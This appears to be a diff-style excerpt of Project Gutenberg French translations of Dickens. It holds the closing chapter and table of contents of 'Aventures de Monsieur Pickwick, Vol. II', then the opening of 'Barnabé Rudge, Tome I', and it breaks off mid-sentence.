+«Rougissez-vous de votre conduite, monsieur, oui ou non?
+
+--Non, monsieur, répliqua M. Winkle, en passant le bras d'Arabelle sous
+le sien; je ne rougis ni de ma conduite ni de ma femme.
+
+--Vraiment? dit le petit gentleman ironiquement.
+
+--Je suis bien fâché d'avoir fait quelque chose qui ait diminué votre
+affection pour moi, monsieur; mais je dois dire en même temps que je
+n'ai aucune raison de rougir de mon choix, pas plus que vous ne devez
+rougir de l'avoir pour belle-fille.
+
+--Donne-moi la main, Nathaniel, dit le vieillard d'une voix émue.
+Embrassez-moi, mon ange; vous êtes une charmante belle-fille, après
+tout.»
+
+Au bout de quelques minutes, M. Winkle alla chercher M. Pickwick et le
+présenta à son père qui échangea avec lui des poignées de main pendant
+cinq minutes consécutives.
+
+«Monsieur Pickwick, dit le petit vieillard d'un ton ouvert et sans
+façon, je vous remercie sincèrement de toutes vos bontés pour mon fils.
+Je suis un peu vif, et la dernière fois que je vous ai vu j'étais
+surpris et vexé. J'ai jugé par moi-même maintenant, et je suis plus que
+satisfait. Dois-je vous faire d'autres excuses?
+
+--Pas l'ombre d'une, répondit M. Pickwick.... Vous avez fait la seule
+chose qui manquait pour compléter mon bonheur.»
+
+Là-dessus il y eut un autre échange de poignées de mains, pendant cinq
+autres minutes, avec accompagnement de compliments qui avaient le mérite
+très-grand et très-nouveau d'être sincères.
+
+Sam avait respectueusement reconduit son père à la _Belle Sauvage_,
+quand, à son retour, il rencontra dans la cour le gros joufflu qui
+venait d'apporter un billet d'Émily Wardle.
+
+«Dites donc, lui cria le jeune phénomène, qui paraissait singulièrement
+en train de parler, dites donc, Mary est-elle assez gentille, hein? Je
+l'aime joliment, allez!»
+
+Sam ne fit point de réponse verbale, mais, complétement pétrifié par la
+présomption du gros garçon, il le regarda fixement pendant une minute,
+le conduisit par le collet jusqu'au coin de la rue et le renvoya avec un
+coup de pied innocent mais cérémonieux, après quoi il rentra à l'hôtel
+en sifflant.
+
+
+
+
+CHAPITRE XXVIII.
+
+Dans lequel le club des pickwickiens est définitivement dissous, et
+toutes choses terminées, à la satisfaction de tout le monde.
+
+
+Durant une semaine, après l'arrivée de M. Winkle de Birmingham, M.
+Pickwick et Sam Weller s'absentèrent de l'hôtel toute la journée,
+rentrant seulement à l'heure du dîner et ayant l'un et l'autre un air de
+mystère et d'importance tout à fait étranger à leur caractère. Il était
+évident qu'il se préparait quelque événement notable, mais on se perdait
+en conjectures sur ce que ce pouvait être. Quelques-uns (parmi lesquels
+se trouvait M. Tupman) étaient disposés à penser que M. Pickwick
+projetait une alliance matrimoniale, mais les dames repoussaient
+fortement cette idée. D'autres inclinaient à croire qu'il avait projeté
+quelque expédition lointaine, dont il faisait les arrangements
+préliminaires. Mais cela avait été vigoureusement nié par Sam lui-même
+qui, pressé de questions par Mary, avait solennellement assuré qu'il ne
+s'agissait point de nouveaux voyages. À la fin, lorsque les cerveaux de
+toute la société se furent mis inutilement à la torture, pendant six
+jours entiers, il fut unanimement décidé que M. Pickwick serait invité à
+expliquer sa conduite, et à déclarer nettement pourquoi il privait ainsi
+de sa société ses amis, remplis d'admiration pour sa personne.
+
+Dans ce but, M. Wardle invita tout le monde à dîner à l'_Adelphi-Hôtel_,
+et, lorsque le vin de Bordeaux eut fait deux fois le tour de la table,
+il entama l'affaire en ces termes:
+
+«Mon cher Pickwick, nous sommes inquiets de savoir en quoi nous avons
+pu vous offenser, pour que vous nous abandonniez ainsi, consacrant tout
+votre temps à ces promenades solitaires.
+
+--Chose singulière! répondit M. Pickwick, j'avais justement l'intention
+de vous donner aujourd'hui même une explication complète. Ainsi, si vous
+voulez me verser encore un verre de vin, je vais satisfaire votre
+curiosité.»
+
+La bouteille passa de main en main avec une vivacité inaccoutumée, et M.
+Pickwick, regardant avec un joyeux sourire ses nombreux amis:
+
+«Tous les changements qui sont arrivés parmi nous, dit-il, je veux dire
+le mariage qui s'est fait et le mariage qui doit se faire, avec les
+conséquences qu'ils entraînent, rendaient nécessaire pour moi de penser
+sérieusement et d'avance à mes plans pour l'avenir. Je me suis déterminé
+à me retirer aux environs de Londres, dans quelque endroit joli et
+tranquille. J'ai vu une maison qui me convenait, je l'ai achetée et
+meublée. Elle est tout à fait prête à me recevoir et je compte m'y
+établir sur-le-champ. J'espère que je pourrai encore passer bien des
+années heureuses dans cette paisible retraite, réjoui, pendant le reste
+de mes jours, par la société de mes amis, et suivi, après ma mort, de
+leurs regrets affectueux.»
+
+Ici M. Pickwick s'arrêta et l'on entendit autour de la table un murmure
+doux et triste.
+
+«La maison que j'ai choisie, poursuivit-il, est à Dulwich, dans une des
+situations les plus agréables qu'on puisse trouver auprès de Londres. Il
+y a un grand jardin, et l'habitation est arrangée de manière à ce qu'on
+n'y manque d'aucun confort. Peut-être même n'est-elle pas dépourvue
+d'une certaine élégance. Vous en jugerez vous-même. Sam m'y
+accompagnera. J'ai engagé, sur les représentations de Perker, une femme
+de charge, une très-vieille femme de charge, et les autres domestiques
+qu'il a jugés nécessaires. Je me propose de consacrer cette petite
+retraite en y faisant accomplir une cérémonie à laquelle je prends
+beaucoup d'intérêt. Je désire, si mon ami Wardle ne s'y oppose point,
+que les noces de sa fille soient célébrées dans cette nouvelle demeure,
+le jour où j'en prendrai possession. Le bonheur des jeunes gens,
+poursuivit M. Pickwick un peu ému, a toujours été le plus grand plaisir
+de ma vie; mon coeur se rajeunira lorsque je verrai, sous mon propre
+toit, s'accomplir le bonheur des amis qui me sont les plus chers.»
+
+M. Pickwick s'arrêta encore; Arabelle et Émily sanglotaient.
+
+«J'ai communiqué, personnellement et par écrit, avec le club, reprit le
+philosophe. Je lui ai appris mon intention. Durant notre longue absence,
+il avait été divisé par des dissensions intestines. Ma retraite, jointe
+à diverses autres circonstances, a décidé sa dissolution.
+_Pickwick-Club_ n'existe plus. Toutes frivoles que mes recherches aient
+pu paraître à certaines gens, continua M. Pickwick d'une voix plus
+grave, je ne regretterai jamais d'avoir dévoué près de deux années à
+étudier les différentes variétés de caractère de l'espèce humaine.
+Presque toute ma vie ayant été consacrée à des affaires positives, et à
+la poursuite de la fortune, j'ai vu s'ouvrir devant moi de nombreux
+points de vue dont je n'avais aucune idée, et qui, je l'espère, ont
+élargi mon intelligence et perfectionné mon esprit. Si je n'ai fait que
+peu de bien, je me flatte d'avoir fait encore moins de mal. Aussi,
+j'espère qu'au déclin de ma vie chacune de mes aventures ne m'apportera
+que des souvenirs consolants et agréables. Et maintenant, mes chers
+amis, que Dieu vous bénisse tous!»
+
+À ces mots, M. Pickwick remplit son verre et le porta à ses lèvres d'une
+main tremblante. Ses yeux se mouillèrent de larmes lorsque ses amis se
+levèrent simultanément pour lui faire raison, du fond du coeur.
+
+Il y avait peu d'arrangements à faire pour le mariage de M. Snodgrass.
+Comme il n'avait ni père ni mère, et qu'il avait été, dans sa minorité,
+pupille de M. Pickwick, celui-ci connaissait parfaitement l'état de sa
+fortune. Le compte qu'il en rendit à M. Wardle le satisfit complétement,
+comme, en vérité, l'aurait satisfait tout autre compte; car le bon
+vieillard avait le coeur plein de tendresse et de contentement. Il donna
+à Émily une belle dot, et le mariage étant fixé pour la quatrième jour,
+le peu de temps accordé pour les préparatifs faillit faire perdre la
+tête à trois couturières et à un tailleur.
+
+Le lendemain, ayant fait mettre des chevaux de poste à sa voiture, M.
+Wardle partit pour aller chercher sa mère à Dingley-Dell. La vieille
+lady à qui il communiqua cette nouvelle avec son impétuosité ordinaire,
+s'évanouit à l'instant; mais, ayant été promptement ranimée, elle
+ordonna d'empaqueter sur-le-champ sa robe de brocard, et se mit à
+raconter quelques circonstances analogues, qui avaient eu lieu au
+mariage de la fille aînée de feu lady Tollimglower. Ce récit dura trois
+heures, et, au bout de ce temps, il n'était encore qu'à moitié.
+
+Il était nécessaire d'informer Mme Trundle des prodigieux préparatifs
+qui se faisaient à Londres; et, comme sa situation était alors
+très-intéressante, cette nouvelle lui fut communiquée par M. Trundle, de
+peur qu'elle n'en fût bouleversée. Mais elle ne fut pas bouleversée le
+moins du monde, car elle écrivit sur-le-champ à Muggleton pour se faire
+faire un nouveau bonnet et une robe de satin noire, et elle déclara, de
+plus, sa détermination d'être présente à la cérémonie. M. Trundle, à ces
+mots, envoya immédiatement chercher le docteur. Le docteur décida que
+Mme Trundle devait savoir, mieux que personne, comment elle se sentait;
+à quoi Mme Trundle répondit qu'elle se sentit assez forte pour aller à
+Londres et qu'elle y irait. Or, le docteur était un docteur habile et
+prudent. Il savait ce qui était bon pour lui-même aussi bien que pour
+ses malades; son avis fut donc que si Mme Trundle restait chez elle,
+elle se tourmenterait peut-être de manière à se faire plus de mal que ne
+lui en ferait le voyage, et que, par conséquent, il valait mieux la
+laisser partir. Elle partit en effet, et le docteur eut l'attention de
+lui envoyer une douzaine de potions, pour boire le long de la route.
+
+En addition à tous ses embarras, M. Wardle avait été chargé de deux
+petites lettres, pour deux petites demoiselles, qui devaient officier
+comme demoiselles d'honneur. En apprenant cette importante nouvelle, les
+deux demoiselles faillirent se désespérer de n'avoir rien à mettre dans
+une occasion aussi importante, et pas même le temps de rien faire faire,
+circonstance qui ne parut pas affecter aussi tristement les dignes papas
+desdites demoiselles. Cependant, de vieilles robes furent rajustées, on
+fabriqua à la hâte des chapeaux neufs, et les deux demoiselles furent
+aussi belles qu'il était possible de l'espérer. D'ailleurs, comme elles
+pleurèrent aux endroits convenables, le jour de la cérémonie, et comme
+elles tremblèrent à propos, tous les assistants convinrent qu'elles
+s'étaient admirablement acquittées de leurs fonctions.
+
+Comment les deux parents pauvres atteignirent Londres; s'ils y allèrent
+à pied, ou montèrent derrière des voitures, ou grimpèrent dans des
+charrettes, ou se portèrent mutuellement, c'est ce que nous ne saurions
+dire; mais ils y étaient arrivés avant M. Wardle, et ce furent eux qui,
+les premiers, frappèrent à la porte de M. Pickwick, le jour du mariage.
+Leur visage n'était que sourires et cols de chemise.
+
+Ils furent reçus cordialement, car la pauvreté ou la richesse n'avaient
+aucune influence sur le philosophe. Les nouveaux domestiques étaient
+tout empressement, toute vivacité; Sam, dans un état sans pareil de
+bonne humeur et d'exaltation; Mary, éblouissante de beauté et de jolis
+rubans.
+
+Le marié qui demeurait dans la maison de M. Pickwick depuis deux ou
+trois jours, en sortit galamment pour rejoindre la mariée à l'église de
+Dulwich. Il était accompagné de MM. Pickwick, Ben Allen, Sawyer et
+Tupman. Sam était à l'extérieur de la voiture, vêtu d'une brillante
+livrée, inventée expressément pour cette occasion; il portait à sa
+boutonnière une faveur blanche, gage d'amour de la dame de ses pensées.
+Cette troupe joyeuse rejoignait les Wardle et les Winkle, et la mariée,
+et les demoiselles d'honneur, et les Trundle; et lorsque la cérémonie
+fut terminée, tous les carrosses roulèrent vers la maison de M.
+Pickwick. Le déjeuner et le petit Perker les y attendaient.
+
+Là s'effacèrent les légers nuages de mélancolie engendrés par la
+solennité de la cérémonie. Tous les visages brillaient de la joie la
+plus pure, et l'on n'entendait que des compliments et des
+congratulations. Le gazon sur le devant de la maison, le jardin par
+derrière, la serre mignonne, la salle à manger, le salon, les chambres à
+coucher, le fumoir, et, par-dessus tout, le cabinet d'étude avec ses
+tableaux, ses gouaches, ses bahuts gothiques, ses tables étranges, ses
+livres sans nombre, ses grandes fenêtres, ouvrant sur une jolie pelouse
+et sur une belle perspective; puis, enfin, les rideaux et les tapis, et
+les chaises, et les sofas; tout était si beau, si solide, si propre et
+d'un goût si exquis, à ce que disait chacun, qu'il n'y avait réellement
+pas moyen de décider ce qu'on devait admirer le plus.
+
+Au milieu de toutes ces belles choses, M. Pickwick se tenait debout, et
+sa physionomie était radieuse de sourires auxquels n'aurait pu résister
+aucun coeur d'homme, ni de femme, ni d'enfant. Il semblait le plus
+heureux de tous les assistants; il serrait, de minute en minute, les
+mains des mêmes personnes, et quand ses mains n'étaient pas ainsi
+occupées, il les frottait avec un indicible plaisir. Il se retournait de
+tous côtés à chaque expression nouvelle de curiosité ou d'admiration, et
+charmait tout le monde par son air de contentement et de bonhomie.
+
+Le déjeuner est annoncé. M. Pickwick conduit au sommet d'une longue
+table la vieille lady, fort éloquente, comme d'ordinaire, sur le
+chapitre de Tollimglower; Wardle se met au fin bout; les amis
+s'arrangent comme ils l'entendent, des deux côtés, et Sam prend sa place
+derrière la chaise de son maître. Les rires et les causeries cessant
+pour une minute, M. Pickwick ayant dit le bénédicité, s'arrête un moment
+et regarde autour de lui; des larmes de joie coulent de ses yeux en
+contemplant cette heureuse réunion.
+
+Nous allons prendre congé de notre ami dans un de ces moments de bonheur
+sans mélange qui viennent de temps en temps embellir notre passagère
+existence. Il y a de sombres nuits sur la terre, mais l'aurore joyeuse
+n'en semble que plus brillante par le contraste. Certaines personnes,
+pareilles aux hiboux et aux chauves-souris, ont de meilleure yeux pour
+les ténèbres que pour la lumière; nous, qui ne leur ressemblons point,
+nous éprouvons plus de plaisir à jeter un dernier regard aux compagnons
+imaginaires de bien des heures de solitude, dans un moment où le rapide
+éclat du bonheur les illumine de ses passagères clartés.
+
+C'est le destin de la plupart des hommes, même de ceux qui n'arrivent
+qu'à l'été de la vie, d'acquérir dans le monde quelques amis sincères et
+de les perdre, suivant le cours de la nature. C'est le destin de tous
+les romanciers, de se créer des amis fantastiques et de les perdre,
+suivant le cours de l'art. Mais ce n'est pas là toute leur infortune;
+ils sont encore obligés d'en rendre compte.
+
+Pour nous soumettre à cette coutume, évidemment détestable, nous
+ajouterons ici une courte notice biographique sur la société réunie chez
+M. Pickwick.
+
+M. et Mme Winkle, complétement rentrés en grâce auprès de M. Winkle
+senior, furent, bientôt après, installés dans une maison nouvellement
+bâtie, à moins d'un mille de celle de M. Pickwick. M. Winkle étant
+engagé comme correspondant de son père dans la Cité, changea son ancien
+costume contre l'habit ordinaire des Anglais, et conserva toujours dans
+la suite l'extérieur d'un chrétien civilisé.
+
+M. et Mme Snodgrass s'établirent à Dingley-Dell, où ils achetèrent et
+cultivèrent une petite ferme, pour s'occuper plutôt que pour en tirer
+profit. M. Snodgrass se montrant encore quelquefois distrait et
+mélancolique, est, jusqu'à ce jour, réputé grand poëte parmi ses amis et
+connaissances, quoique nous ne sachions pas qu'il ait jamais rien écrit
+pour encourager cette croyance. Nous connaissons beaucoup de
+personnages célèbres dans la littérature, la philosophie et les autres
+facultés, dont la haute réputation n'est pas basée sur de meilleurs
+fondements.
+
+Lorsque M. Pickwick fut établi à poste fixe et ses amis mariés, M.
+Tupman prit un logement à Richmond, où il a toujours résidé depuis.
+Pendant les jours d'été, il se promène constamment sur la rive d'un air
+juvénile et coquet, grâce auquel il fait l'admiration des nombreuses
+ladies d'un certain âge qui habitent ces parages dans une vertueuse
+solitude. Cependant il n'a jamais risqué de nouvelles propositions.
+
+MM. Bob Sawyer et Ben Allen, après avoir fait banqueroute, passèrent
+ensemble au Bengale comme chirurgiens de la compagnie des Indes. Ils ont
+eu, tous les deux, la fièvre jaune jusqu'à quatorze fois, et se sont
+résolus enfin à essayer d'un peu d'abstinence. Depuis cette époque, ils
+se portent bien.
+
+Mme Bardell continua à louer ses logements à plusieurs gentlemen,
+garçons et agréables. Elle en tira de bons profits, mais elle n'attaqua
+plus personne pour violation de promesse de mariage. Ses alliés, MM.
+Dodson et Fogg, sont encore dans les affaires; ils se font toujours un
+riche revenu, et sont considérés comme les plus habiles entre les
+habiles.
+
+Sam Weller tint sa parole et resta deux ans sans se marier. Mais, au
+bout de ce temps, la vieille femme de charge de M. Pickwick étant morte,
+M. Pickwick éleva Mary à cette dignité, sous la condition d'épouser Sam
+sur-le-champ, ce qu'elle fit sans murmurer. Nous avons lieu de supposer
+que cette union ne fut pas stérile, car on a vu plusieurs fois deux
+petits garçons bouffis à la grille du jardin.
+
+M. Weller senior conduisit sa voiture pendant un an; mais, étant attaqué
+de la goutte, il fut obligé de prendre sa retraite. Fort heureusement,
+le contenu de son portefeuille avait été si bien placé par M. Pickwick,
+qu'il peut vivre à son aise dans une excellente auberge, près de
+Shooter's Hill. Il y est révéré comme un oracle, se vante de son
+intimité avec M. Pickwick, et a conservé pour les veuves une aversion
+insurmontable.
+
+M. Pickwick lui-même continua de résider dans sa nouvelle maison,
+employant ses heures de loisir, soit à mettre en ordre les souvenirs
+dont il fit présent ensuite au ci-devant secrétaire du célèbre club;
+soit à se faire faire la lecture par Sam, dont les remarques ne manquent
+jamais de lui procurer beaucoup d'amusement. Il fut d'abord fréquemment
+dérangé par les nombreuses prières que lui firent M. Snodgrass, M.
+Winkle et M. Trundle, de servir de parrain à leurs enfants; mais il y
+est habitué maintenant et remplit ces fonctions comme une chose toute
+simple. Il n'a jamais eu de raison de regretter ses bontés pour Jingle
+et pour Job Trotter; car ces deux personnages sont devenus, avec le
+temps, de respectables membres de la société. Cependant, ils ont
+toujours refusé de revenir sur le théâtre de leurs anciennes tentations
+et de leurs premières chutes. M. Pickwick est un peu infirme maintenant;
+mais son esprit est toujours aussi jeune. On peut le voir souvent occupé
+à contempler les tableaux de la galerie de Dulwich, ou, dans les beaux
+jours, à faire une agréable promenade dans le voisinage. Il est connu de
+tous les pauvres gens d'alentour, qui ne manquent jamais d'ôter leur
+chapeau avec respect lorsqu'il passe. Les enfants l'idolâtrent, et, pour
+bien dire, tous les voisins en font autant. Chaque année, il se rend à
+une grande réunion de famille, chez M. Wardle, et, dans cette occasion,
+comme dans toutes les autres, il est invariablement accompagné de son
+fidèle Sam; car il existe entre le maître et le serviteur un attachement
+réciproque et solide que la mort seule pourra briser.
+
+
+
+FIN DU DEUXIÈME ET DERNIER VOLUME.
+
+
+
+
+TABLE DES MATIÈRES
+
+CONTENUES DANS LE SECOND VOLUME
+
+I. Comment les pickwickiens firent et cultivèrent la connaissance d'une
+couple d'agréables jeunes gens, appartenant à une des professions
+libérales; comment ils folâtrèrent sur la glace; et comment se termina
+leur visite.
+
+II. Consacré tout entier à la loi et à ses savants interprètes
+
+III. Où l'on décrit plus compendieusement que ne l'a jamais fait aucun
+journal de la cour une soirée de garçon, donnée par M. Bob Sawyer en son
+domicile, dans le Borough.
+
+IV. M. Weller senior profère quelques opinions critiques concernant les
+compositions littéraires; puis avec l'assistance de son fils Samuel, il
+s'acquitte d'une partie de sa dette envers le révérend gentleman au nez
+rouge.
+
+V. Entièrement consacré au compte rendu complet et fidèle du mémorable
+procès de Bardell contre Pickwick.
+
+VI. Dans lequel M. Pickwick pense que ce qu'il a de mieux à faire est
+d'aller à Bath, et y va en conséquence.
+
+VII. Occupé principalement par une authentique version de la légende du
+prince Bladud, et par une calamité fort extraordinaire dont M. Winkle
+fut la victime.
+
+VIII. Qui explique honorablement l'absence de Sam Weller, en rendant
+compte d'une soirée où il fut invité et assista; et qui raconte, en
+outre, comment ledit Sam Weller fut chargé par M. Pickwick d'une mission
+particulière, pleine de délicatesse et d'importance.
+
+IX. Comment M. Winkle, voulant sortir de la poêle à frire, se jeta
+tranquillement et confortablement dans le feu.
+
+X. Sam Weller, honoré d'une mission d'amour, s'occupe de l'exécuter. On
+verra plus loin avec quel succès.
+
+XI. Où l'on voit M. Pickwick sur une nouvelle scène du grand drame de la
+vie.
+
+XII. Ce qui arriva à M. Pickwick dans la prison pour dettes; quelle
+espèce de débiteurs il y vit, et comment il passa la nuit.
+
+XIII. Démontrant, comme le précédent, la vérité de ce vieux proverbe,
+que l'adversité vous fait faire connaissance avec d'étranges camarades
+de lit; et contenant, en outre, l'incroyable déclaration que M. Pickwick
+fit à Sam.
+
+XIV. Comment M. Samuel Weller se mit mal dans ses affaires.
+
+XV. Où l'on apprend diverses petites aventures arrivées dans la prison,
+ainsi que la conduite mystérieuse de M. Winkle; et où l'on voit comment
+le pauvre prisonnier de la chancellerie fut enfin relâché.
+
+XVI. Où l'on décrit une entrevue touchante entre M. Samuel Weller et sa
+famille. M. Pickwick fait le tour du petit monde qu'il habite, et prend
+la résolution de ne s'y mêler, à l'avenir, que le moins possible.
+
+XVII. Où l'on rapporte un acte touchant de délicatesse accompli par MM.
+Dodson et Fogg, non sans une certaine dose de plaisanterie.
+
+XVIII. Principalement dévoué à des affaires d'intérêt et à l'avantage
+temporel de Dodson et Fogg. Réapparition de M. Winkle dans des
+circonstances extraordinaires. La bienveillance de M. Pickwick se montre
+plus forte que son obstination.
+
+XIX. Où l'on raconte comment M. Pickwick, avec l'assistance de Sam,
+essaya d'amollir le coeur de M. Benjamin Allen, et d'adoucir la rage de
+M. Robert Sawyer.
+
+XX. Contenant l'histoire de l'oncle du commis-voyageur
+
+XXI. Comment M. Pickwick exécuta sa mission et comment il fut renforcé,
+dès le début, par un auxiliaire tout à fait imprévu.
+
+XXII. Dans lequel M. Pickwick rencontre une vieille connaissance,
+circonstance fortunée à laquelle le lecteur est principalement redevable
+des détails brûlants d'intérêt ci-dessous consignés, concernant deux
+grands hommes politiques.
+
+XXIII. Annonçant un changement sérieux dans la famille Weller, et la
+chute prématurée de l'homme au nez rouge.
+
+XXIV. Comprenant la sortie finale de MM. Jingle et Job Trotter, avec une
+grande matinée d'affaires dans Gray's Inn square, terminée par un double
+coup frappé à la porte de M. Perker.
+
+XXV. Contenant quelques détails relatifs aux coups de marteau, ainsi
+que diverses autres particularités, parmi lesquelles figurent,
+notablement, certaines découvertes concernant M. Snodgrass et une jeune
+lady.
+
+XXVI. M. Salomon Pell, assisté par un comité choisi de cochers, arrange
+les affaires de M. Weller senior.
+
+XXVII. M. Weller assiste à une importante conférence entre M. Pickwick
+et Samuel. Un vieux gentleman, en habit couleur de tabac, arrive
+inopinément.
+
+XXVIII. Dans lequel le club des pickwickiens est définitivement dissous,
+et toutes choses terminées à la satisfaction de tout le monde.
+
+
+FIN DE LA TABLE DES MATIÈRES
+
+
+
+
+
+End of the Project Gutenberg EBook of Aventures de Monsieur Pickwick, Vol. II
+by Charles Dickens
+
+*** END OF THIS PROJECT GUTENBERG EBOOK AVENTURES DE MONSIEUR PICKWICK ***
+
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+The Project Gutenberg EBook of Barnabé Rudge, Tome I, by Charles Dickens
+
+This eBook is for the use of anyone anywhere at no cost and with
+almost no restrictions whatsoever.  You may copy it, give it away or
+re-use it under the terms of the Project Gutenberg License included
+with this eBook or online at www.gutenberg.org
+
+
+Title: Barnabé Rudge, Tome I
+
+Author: Charles Dickens
+
+Translator: Mr Bonnomet
+
+Release Date: February 27, 2006 [EBook #17879]
+
+Language: French
+
+
+*** START OF THIS PROJECT GUTENBERG EBOOK BARNABÉ RUDGE, TOME I ***
+
+
+
+
+Produced by Ebooks Libres et Gratuits; this text is also
+available in multiple formats at www.ebooksgratuits.com
+
+
+
+
+
+
+Charles Dickens
+
+BARNABÉ RUDGE
+
+Tome I
+
+(1841)
+
+
+Traduction Mr Bonnomet
+
+
+
+
+Table des matières
+
+
+UN MOT D'INTRODUCTION.
+CHAPITRE PREMIER.
+CHAPITRE II.
+CHAPITRE III.
+CHAPITRE IV.
+CHAPITRE V.
+CHAPITRE VI.
+CHAPITRE VII.
+CHAPITRE VIII.
+CHAPITRE IX.
+CHAPITRE X.
+CHAPITRE XI.
+CHAPITRE XII.
+CHAPITRE XIII.
+CHAPITRE XIV.
+CHAPITRE XV.
+CHAPITRE XVI.
+CHAPITRE XVII.
+CHAPITRE XVIII.
+CHAPITRE XIX.
+CHAPITRE XX.
+CHAPITRE XXI.
+CHAPITRE XXII.
+CHAPITRE XXIII.
+CHAPITRE XXIV.
+CHAPITRE XXV.
+CHAPITRE XXVI.
+CHAPITRE XXVII.
+CHAPITRE XXVIII.
+CHAPITRE XXIX.
+CHAPITRE XXX.
+CHAPITRE XXXI.
+CHAPITRE XXXII.
+CHAPITRE XXXIII.
+CHAPITRE XXXIV.
+CHAPITRE XXXV.
+CHAPITRE XXXVI.
+CHAPITRE XXXVII.
+CHAPITRE XXXVIII.
+CHAPITRE XXXIX.
+CHAPITRE XL.
+CHAPITRE XLI.
+CHAPITRE XLII.
+
+
+
+
+UN MOT D'INTRODUCTION.
+
+
+_De l'histoire! Dieu vous bénisse; je n'en ai aucune à dire,
+monsieur._
+
+Voici de longues années... permettez-moi de ne pas en avouer le
+nombre... que m'arriva la bonne nouvelle de ma promotion comme
+enseigne dans le 4e d'infanterie de Sa Majesté. Mon nom, qui si
+longtemps avait figuré sur les états du Duc, avec ces mots en
+marge: «Question épineuse,» allait enfin se trouver inscrit sur le
+registre mensuel des promotions et des appointements. Depuis ce
+jour, j'ai traversé toutes les vicissitudes de la guerre et de la
+paix. Le camp et le bivouac, l'insouciante gaieté de la _mess-
+table_[1], la désolante solitude d'une prison française, les
+émotions violentes du service de campagne, l'existence monotone de
+garnison, m'ont également apporté leur part de plaisirs et
+d'épreuves. Une carrière de ce genre, quand la nature vous a donné
+un tempérament toujours prêt à vous mettre à l'unisson de ceux qui
+vous entourent, ne saurait manquer d'avoir sa bonne provision
+d'aventures. Telle a été la mienne; et, sans prétendre à autre
+chose qu'à retracer quelques-unes des scènes dans lesquelles j'ai
+joué un rôle, et qu'à rappeler le souvenir de leurs autres
+acteurs... hélas! dont quelques-uns ne sont plus aujourd'hui...
+j'ai livré ces pages aux hasards de la publicité.
+
+Si je n'ai pas choisi cette portion de ma vie qui présentait le
+plus d'incidents et de faits dignes d'être racontés, mon excuse
+est bien simple; c'est que j'ai mieux aimé, dans cette première
+apparition sur les planches, m'accoutumer à l'air de la maison par
+le personnage du _Coq_[2] que de me montrer au public dans un rôle
+plus difficile d'Hamlet.
+
+Mais comme malheureusement il existe en ce monde des gens très
+difficiles, qui, ainsi que le dit Curran[3], ne sont pas satisfaits
+de savoir qui tua le jaugeur, si vous ne pouvez leur apprendre qui
+portait sa veste de tiretaine... à ceux-là je dirais, en toute
+humilité, qu'ils n'ont rien à faire avec ce livre. Je n'ai pas
+plus d'histoire que de morale à offrir; ma seule prétention à
+l'une est dans le récit d'une passion qui, pendant quelques
+années, fut tout l'intérêt de ma vie, mon unique tentative à
+l'égard de l'autre consiste en ce que j'ai tâché de faire
+ressortir tous les dangers dont peut être entouré un homme qui,
+avec une imagination ardente et un caractère facile, a trop de
+penchant à la confiance, et peut rarement jouer un rôle sans
+oublier qu'il n'est que comédien. Cela dit, je me recommande une
+fois encore à cette indulgence qui n'a jamais été refusée à
+l'humilité sincère, et je commence.
+
+
+
+
+CHAPITRE PREMIER.
+
+
+Il y avait en 1775, sur la lisière de la forêt d'Epping, à une
+distance d'environ douze milles de Londres (en mesurant du
+Standard[4] dans Cornhill, ou plutôt de l'endroit sur lequel ou près
+duquel le Standard avait accoutumé d'être aux temps jadis), un
+établissement public appelé le _Maypole_[5], comme pouvaient le voir
+tous ceux des voyageurs qui ne savaient ni lire ni écrire (et, il
+y a soixante-six ans, il n'y avait pas besoin d'être voyageur pour
+se trouver dans ce cas-là), en regardant l'emblème dressé sur le
+bas côté de la route en face dudit établissement. Ce n'est pas que
+cet emblème eût les nobles proportions des maypoles plantés
+d'ordinaire dans les anciens temps; mais ce n'en était pas moins
+un beau jeune frêne, de trente pieds de haut et droit comme
+n'importe quelle flèche qu'un arbalétrier de la _yeomanry_
+d'Angleterre ait jamais pu tirer.
+
+Le Maypole (ce terme exprime à partir d'à présent la maison, et
+non pas son emblème), le Maypole était un vieux bâtiment avec plus
+de bouts de chevron sur le pignon qu'un désoeuvré ne se soucierait
+d'en compter par un jour de soleil; avec de grandes cheminées en
+zigzag d'où il semblait que la fumée elle-même ne pouvait sortir,
+quoi qu'elle en eût, que sous des formes naturellement
+fantastiques, grâce à sa tortueuse ascension; enfin avec de vastes
+écuries, sombres, tombant en ruine, et vides. Cette habitation
+passait pour avoir été construite à l'époque de Henry VIII, et il
+existait une légende comme quoi non seulement la reine Elisabeth,
+durant une excursion de chasse, avait couché là une nuit, dans une
+certaine chambre à boiseries de chêne avec fenêtre à large
+embrasure, mais encore comme quoi le lendemain, debout sur un
+montoir devant la porte, un pied à l'étrier, la vierge monarque
+avait donné deçà et delà force coups de poing et force soufflets à
+un pauvre page pour quelque négligence dans son service. Les gens
+positifs et sceptiques, en minorité parmi les habitués du Maypole,
+comme ils le sont malheureusement dans chaque petite communauté,
+inclinaient à regarder cette tradition comme un peu apocryphe;
+mais quand le maître de l'antique hôtellerie en appelait au
+témoignage du montoir lui-même, quand d'un air de triomphe il
+faisait voir que le bloc était demeuré immobile à sa propre place
+jusqu'au jour d'aujourd'hui, les douteurs ne manquaient jamais
+d'être terrassés par une majorité imposante, et tous les vrais
+croyants triomphaient de leur défaite.
+
+Que ces récits, et beaucoup d'autres du même genre, fussent
+authentiques ou controuvés, le Maypole n'en était pas moins
+réellement une vieille maison, une très vieille maison, aussi
+vieille peut-être qu'elle prétendait l'être, peut-être même plus
+vieille, ce qui arrive parfois aux maisons d'un âge incertain tout
+comme aux dames d'un certain âge. Ses fenêtres avaient de vieux
+carreaux à treillis, ses planchers étaient affaissés et inégaux,
+ses plafonds étaient noircis par la main du temps et alourdis par
+des poutres massives. Au-dessus de la porte et du passage était un
+ancien porche sculpté d'une façon bizarre et grotesque; c'est là
+que, les soirs d'été, les pratiques favorites fumaient et
+buvaient, et chantaient aussi, pardieu! quelquefois mainte bonne
+chanson, en se reposant sur des sièges à dossier élevé, de mine
+rébarbative, qui, semblables à des dragons jumeaux de je ne sais
+plus quel conte de fée, gardaient l'entrée du manoir.
+
+Dans les cheminées des chambres hors d'usage, les hirondelles
+maçonnaient leurs nids depuis de bien longues années, et, du
+commencement du printemps à la fin de l'automne, des colonies
+entières de moineaux gazouillaient au bord des toits et des
+gouttières. Il y avait dans la cour de la sombre écurie et sur les
+bâtiments extérieurs, plus de pigeons que n'en saurait compter
+tout autre amateur qu'un aubergiste. Les vols circulaires et
+tournoyants des pigeons mignons, des pigeons à queue en éventail,
+des pigeons culbutants, des pigeons francolins, ne s'accordaient
+peut-être pas complètement avec le caractère grave et sévère de
+l'édifice; mais le monotone roucoulement que ne cessaient
